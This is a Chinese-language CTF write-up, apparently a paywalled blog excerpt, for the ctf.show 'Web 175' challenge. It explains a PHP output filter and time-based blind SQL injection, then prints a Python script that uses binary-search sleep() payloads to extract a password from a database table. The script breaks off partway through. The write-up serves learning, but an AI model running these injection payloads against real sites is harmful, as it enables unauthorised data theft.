目录
Web 175
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret)))
刚开始不知道这句话是什莫意思,还在尝试之前的方法,发现没用。
\xnn 匹配ASCII代码中十六进制代码为nn的字符
[\x00-\x7f] 匹配ASCII值从0-127的字符
所以ASCII值得0-127都被过滤了,select没法用了。
只能盲注了,试一下
1' and sleep(6)--+
发现确实有延迟,所以可以考虑时间盲注。
时间盲注:
通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。简单说就是,当页面出现延时响应,且响应时间与设定的时间函数一致,则表示前半部分的猜测正确,若出现查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分,and的判断中,前半部分就已经出错了。
利用脚本来获取flag。
import requests
from time import time
url='http://774b555f-930c-4ab9-acbe-7ef82922d659.chall.ctf.show/api/v5.php'
flag=''
for i in range(1,100):
length=len(flag)
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)
start_time=time()
r=requests.get(url=url+payload).text
end_time=time()
#print(r)
if end_time-

本文讲述了作者逐步破解Web应用中的SQL过滤,通过时间盲注、字符替代和万能密码策略,成功绕过限制获取flag的过程,涉及技术包括字符编码、SQL注入手法和绕过技术。
最低0.47元/天 解锁文章
349

被折叠的 条评论
为什么被折叠?



